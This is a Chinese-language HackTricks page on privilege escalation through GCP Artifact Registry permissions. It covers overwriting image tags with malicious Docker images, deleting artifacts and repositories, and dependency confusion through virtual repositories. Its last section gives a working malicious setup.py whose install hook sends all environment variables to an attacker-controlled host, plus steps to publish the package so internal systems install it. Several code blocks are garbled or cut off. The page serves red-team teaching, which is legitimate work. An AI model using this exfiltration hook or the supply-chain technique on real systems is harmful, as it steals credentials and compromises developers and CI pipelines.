GCP - Artifact Registry Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Artifact Registry
有关 Artifact Registry 的更多信息,请参阅:
artifactregistry.repositories.uploadArtifacts
拥有此权限的 attacker 可以上传包含恶意代码(例如 Docker images)的 artifacts 的新版本:
向 Artifact Registry 上传 Docker 镜像
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> 经确认,可以用与已存在的 **malicious docker** 镜像相同的名称和 **tag** 上传新的镜像,因此 **旧的镜像将失去该 tag**,下次拉取具有该 tag 的镜像时将会拉取到 **恶意镜像**。
<details>
<summary>上传一个 Python 库</summary>
**首先创建要上传的库**(如果你能从 registry 下载到最新版本,可以跳过此步骤):
1. **设置你的项目结构**:
- 为你的库创建一个新目录,例如 `hello_world_library`。
- 在该目录内,创建另一个以你的包名命名的目录,例如 `hello_world`。
- 在你的包目录内,创建一个 `__init__.py` 文件。此文件可以为空,或包含包的初始化代码。
<details>
<summary>创建项目结构</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- 编写你的库代码:
- 在
hello_world目录中,为你的模块创建一个新的 Python 文件,例如greet.py。 - 编写你的 “Hello, World!” 函数:
创建库模块
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- 创建一个
setup.py文件:
- 在
hello_world_library根目录下创建setup.py文件。 - 该文件包含关于你的库的元数据,并告诉 Python 如何安装它。
创建 setup.py 文件
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
现在,开始上传库:
- 构建你的包:
- 在
hello_world_library目录根下运行:
构建 Python 包
python3 setup.py sdist bdist_wheel
- 为 twine 配置身份验证(用于上传你的包):
- 确保已安装
twine(pip install twine)。 - 使用
gcloud配置凭据:
使用 twine 上传包
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- 清理构建
清理构建产物
```bash rm -rf dist build hello_world.egg-info ```Caution
无法上传与已存在版本相同的 python 库,但可以上传 更高版本(或在版本末尾添加额外的
.0,如果可行 —— 不适用于 python),或者可以 删除最后一个版本并上传一个新的(需要artifactregistry.versions.delete):
删除 artifact 版本
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
拥有此权限你可以 下载 artifacts 并搜索 敏感信息 和 漏洞。
Download a Docker image:
从 Artifact Registry 下载 Docker 镜像
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Download a **python** library:
<details>
<summary>从 Artifact Registry 下载 Python 库</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- 如果在一个虚拟注册表中同时混合了远程和标准注册表,且某个包同时存在于两者,会发生什么?查看此页面:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
从注册表中删除制品,例如 docker 镜像:
Delete Docker image from Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
删除整个存储库(即使其中有内容):
删除 Artifact Registry 存储库
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
拥有此权限的攻击者可以赋予自己执行之前提到的一些仓库攻击的权限。
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
当创建 Cloud Function 时,会将一个新的 docker image 推送到该项目的 Artifact Registry。我尝试用一个新的镜像修改它,甚至删除当前镜像(以及 cache 镜像),但没有任何变化,cloud function 继续正常工作。因此,可能像在 bucket 中那样可以通过 Race Condition attack更改将要运行的 docker 容器,但仅仅修改存储的镜像并不能用于入侵 Cloud Function。
- App Engine
尽管 App Engine 会在 Artifact Registry 中创建 docker images。经测试,即使你修改该服务中的镜像并移除 App Engine 实例(因此会部署新的实例),实际执行的代码也不会改变。\ 可能通过像对 buckets 那样的 Race Condition attack 覆盖被执行的代码,但这未经过测试。
artifactregistry.repositories.update
攻击者不需要特定的 Artifact Registry 权限即可利用此问题——只需要一个易受攻击的虚拟仓库配置。当一个虚拟仓库将一个远程公共仓库(例如 PyPI、npm)与一个内部仓库合并,且远程源的优先级相同或更高时,就会出现这种情况。如果两者都包含同名包,系统会选择版本号最高的那个。攻击者只需知道内部包名并能向相应的公共注册表发布包即可。
拥有 artifactregistry.repositories.update 权限的攻击者可以更改虚拟仓库的上游设置,故意创建这种易受攻击的配置,并通过插入恶意包(开发者或 CI/CD 系统可能会自动安装这些包)来利用 Dependency Confusion 作为持久化手段。
攻击者在公共仓库中创建一个版本号更高的内部包的恶意版本。对于 Python 包,这意味着准备一个模仿合法包结构的包。
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
然后创建一个 setup.py 文件,里面包含将在安装过程中运行的恶意代码。该文件必须指定一个高于私有仓库中版本的版本号。
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
构建该包并删除 wheel 文件,以确保在安装过程中执行代码。
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
将恶意包上传到公共仓库(例如 Python 的 test.pypi.org)。
pip install twine
twine upload --repository testpypi dist/*
当系统或服务通过虚拟仓库安装该软件包时,它会从公共仓库下载恶意版本,而不是来自合法的内部仓库,因为恶意版本的版本号更高且远程仓库具有相同或更高的优先级。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

